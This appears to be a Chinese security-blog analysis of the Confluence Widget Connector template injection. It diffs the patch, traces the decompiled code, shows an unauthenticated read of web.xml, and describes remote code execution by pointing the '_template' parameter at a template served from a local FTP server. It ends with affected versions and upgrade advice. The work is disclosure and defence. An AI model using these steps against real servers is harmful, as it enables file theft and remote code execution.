Confluence 官方发布安全更新,漏洞描述中指出Confluence Server与Confluence Data Center中的Widget Connector存在服务端模板注入漏洞,攻击者能利用此漏洞能够实现目录穿越与远程代码执行。
确认漏洞点是Widget Connector,下载最新版的比对补丁,发现在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方。
可以看到
this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));
而TEMPLATE_PARAM的值就是_template,所以这个补丁就是过滤了外部传入的_template参数。
public interface VelocityRenderService {
public static final String WIDTH_PARAM = "width";
public static final String HEIGHT_PARAM = "height";
public static final String TEMPLATE_PARAM = "_template";
翻了一下Widget Connector里面的文件,发现TEMPLATE_PARAM就是模板文件的路径。
public class FriendFeedRenderer implements WidgetRenderer {
private static final String MATCH_URL = "friendfeed.com";
private static final String PATTERN = "friendfeed.com/(\\w+)/?";
private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";
private VelocityRenderService velocityRenderService;
......
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
return velocityRenderService.render(getEmbedUrl(url), params);
}
加载外部的链接时,会调用相对的模板去渲染,如上,模板的路径一般是写死的,但是也有例外,补丁的作用也说明有人突破了限制,调用了意料之外的模板,从而造成了模板注入。
在了解了补丁和有了一些大概的猜测之后,开始尝试。
首先先找到这个功能,翻了一下官方的文档,找到了这个功能,可以在文档中嵌入一些视频,文档之类的。
看到这个,有点激动了,因为在翻补丁的过程中,发现了几个参数,url,width,height正好对应着这里,那_template是不是也从这里传递进去的?
随便找个Youtube视频插入试试,点击预览,抓包。
在params中尝试插入_template参数,没有回应。
开始debug模式,因为测试插入的是Youtube视频,所以调用的是com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class
public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {
private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.)?youtube.com.*(\\?v=([^&]+)).*$");
private final PlaceholderService placeholderService;
private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";
......
public String getEmbedUrl(String url) {
Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));
return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;
}
public boolean matches(String url) {
return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();
}
private String verifyEmbeddedPlayerString(String url) {
return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");
}
public String getEmbeddedHtml(String url, Map<String, String> params) {
return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));
}
在getEmbeddedHtml下断点,先会调用getEmbedUrl对用户传入的url进行正则匹配,因为我们传入的是个正常的Youtube视频,所以这里是没有问题的,然后调用setDefaultParam函数对传入的其他参数进行处理。
private Map<String, String> setDefaultParam(Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
if (!params.containsKey("_template")) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm");
}
if (StringUtils.isEmpty(width)) {
params.put("width", "400px");
} else if (StringUtils.isNumeric(width)) {
params.put("width", width.concat("px"));
}
if (StringUtils.isEmpty(height)) {
params.put("height", "300px");
} else if (StringUtils.isNumeric(height)) {
params.put("height", height.concat("px"));
}
return params;
}
取出width和height来判断是否为空,为空则设置默认值。关键的_template参数来了,如果外部传入的参数没有_template,则设置默认的Youtube模板。如果传入了,就使用传入的,也就是说,aaaa是成功的传进来了。
大概翻了一下Widget Connector里面的Renderer,大部分是不能设置_template的,是直接写死了,也有一些例外,如Youtube,Viddler,DailyMotion等,是可以从外部传入_template的。
能传递_template了,接下来看下是如何取模板和渲染模板的。
跟进this.velocityRenderService.render,也就是com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class里面的render方法。
public String render(String url, Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
String template = (String)params.get("_template");
if (StringUtils.isEmpty(template)) {
template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm";
}
if (StringUtils.isEmpty(url)) {
return null;
} else {
Map<String, Object> contextMap = this.getDefaultVelocityContext();
Iterator var7 = params.entrySet().iterator();
while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
if (((String)entry.getKey()).contentEquals("tweetHtml")) {
contextMap.put(entry.getKey(), entry.getValue());
} else {
contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue()));
}
}
contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));
if (StringUtils.isNotEmpty(width)) {
contextMap.put("width", GeneralUtil.htmlEncode(width));
} else {
contextMap.put("width", "400");
}
if (StringUtils.isNotEmpty(height)) {
contextMap.put("height", GeneralUtil.htmlEncode(height));
} else {
contextMap.put("height", "300");
}
return this.getRenderedTemplate(template, contextMap);
}
}
_template取出来赋值给template,其他传递进来的参数取出来经过判断之后放入到contextMap,调用getRenderedTemplate函数,也就是调用VelocityUtils.getRenderedTemplate。
protected String getRenderedTemplate(String template, Map<String, Object> contextMap){
return VelocityUtils.getRenderedTemplate(template, contextMap);
}
一路调用,调用链如下图,最后来到/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class的loadResource函数,来获取模板。
这里调用了4个ResourceLoader去取模板。
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
这里主要看下Velocity自带的FileResourceLoader和ClasspathResourceLoader
FileResourceLoader会对用户传入的模板路径使用normalizePath函数进行校验
可以看到,过滤了/../,这样就导致没有办法跳目录了。
路径过滤后调用findTemplate查找模板,可看到,会拼接一个固定的path,这是Confluence的安装路径。
也就是说现在可以利用FileResourceLoader来读取Confluence目录下面的文件了。
尝试读取/WEB-INF/web.xml文件,可以看到,是成功的加载到了该文件。
但是这个无法跳出Confluence的目录,因为不能用/../。
再来看下ClasspathResourceLoader
public InputStream getResourceStream(String name) throws ResourceNotFoundException {
InputStream result = null;
if (StringUtils.isEmpty(name)) {
throw new ResourceNotFoundException("No template name provided");
} else {
try {
result = ClassUtils.getResourceAsStream(this.getClass(), name);
......
}
跟进ClassUtils.getResourceAsStream
public static InputStream getResourceAsStream(Class claz, String name) {
while(name.startsWith("/")) {
name = name.substring(1);
}
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream result;
if (classLoader == null) {
classLoader = claz.getClassLoader();
result = classLoader.getResourceAsStream(name);
} else {
result = classLoader.getResourceAsStream(name);
if (result == null) {
classLoader = claz.getClassLoader();
if (classLoader != null) {
result = classLoader.getResourceAsStream(name);
}
}
}
return result;
}
会跳到/org/apache/catalina/loader/WebappClassLoaderBase.class
跟进,发现会拼接/WEB-INF/classes,而且其中也是调用了normalize对传入的路径进行过滤。。
这里还是可以用../跳一级目录。
尝试读取一下../web.xml,可以看到,也是可以读取成功的,但是仍然无法跳出目录。
这里测试用的版本是6.14.1,而后尝试了file://,http://,https://都没有成功。后来我尝试把Cookie删掉,发现还是可以读取文件,确认了这个漏洞不需要权限,但是跳不出目录。应急就在这里卡住了。
而后的几天,有大佬说用file://协议可以跳出目录限制,我惊了,我确定当时是已经试过了,没有成功的。看了大佬的截图,发现用的是6.9.0的版本,我下载了,尝试了一下,发现真的可以。
问题还是在ClasspathResourceLoader上面,步骤和之前的是一样的,断到/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream方法
前面拼接/WEB-INF/classes获取失败后,继续往下进行。
跟进findResource,函数前面仍然获取失败
关键的地方就在这里,会调用super.findResource(name),这里返回了URL,也就是能获取到对象。
不仅如此,这里还可以使用其他协议(https,ftp等)获取远程的对象,意味着可以加载远程的对象。
获取到URL对象之后,继续回到之前的getResourceAsStream,可以看到,当返回的url不为null时,
会调用url.openStream()获取数据。
最终获取到数据给Velocity渲染。
尝试一下
至于6.14.1不可行的原因,由于时间比较紧迫,后续会跟,如果有新的发现,会同步上来,目前只看到ClassLoader不一样。
6.14.1
6.9.0
这两个loader的关系如下
现在可以加载本地和远程模板了,可以尝试进行RCE。
关于Velocity的RCE,基本上payload都来源于15年blackhat的服务端模板注入的议题,但是在Confluence上不可使用,因为在调用方法的时候会经过velocity-htmlsafe-1.5.1.jar,里面多了一些过滤和限制。但是仍然可以利用反射来执行命令。
用python -m pyftpdlib -p 2121开启一个简单的ftp服务器,将payload保存成rce.vm,保存在当前目录。
将_template设置成ftp://localhost:2121/rce.vm,发送,成功执行命令。
对于命令回显,同样可以使用反射构造出payload,执行ipconfig的结果。
影响软件:
Confluence Server
Confluence Data Cente
以下版本受到影响:Atlassian Confluence Server 6.6.12之前版本,6.7.0版本至6.12.3之前版本,6.13.0版本至6.13.3之前版本,6.14.0版本至6.14.2之前版本。
根据 ZoomEye 网络空间搜索引擎对关键字 "X-Confluence" 进行搜索,共得到 61,856 条结果,主要分布美国、德国、中国等国家。
全球分布(非漏洞影响范围)
中国分布(非漏洞影响范围)
将现有版本升级至安全版本。
安全版本如下:
Version 6.6.12 and higher versions of 6.6.x
Version 6.12.3 and higher versions of 6.12.x
Version 6.13.3 and higher versions of 6.13.x
Version 6.14.2 and highe
2020年09月17日,IBM发布安全公告,WebSphere Application Server中存在一个安全漏洞,该漏洞是由于WebSphere Application Server在处理XML数据时容易受到XML外部实体注入(XXE)攻击。
2020年9月22日,FastAdmin远程代码执行漏洞细节曝光,黑客登录前台会员中心,即可远程GetShell,风险极大。
2020年9月17日,VMware发布安全公告,在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和较旧的不受支持的版本中,发现了一个存在于Spring Framework中的反射型文件下载(Reflected File Download,RFD)漏洞(CVE-2020-5421)。
获取安全动态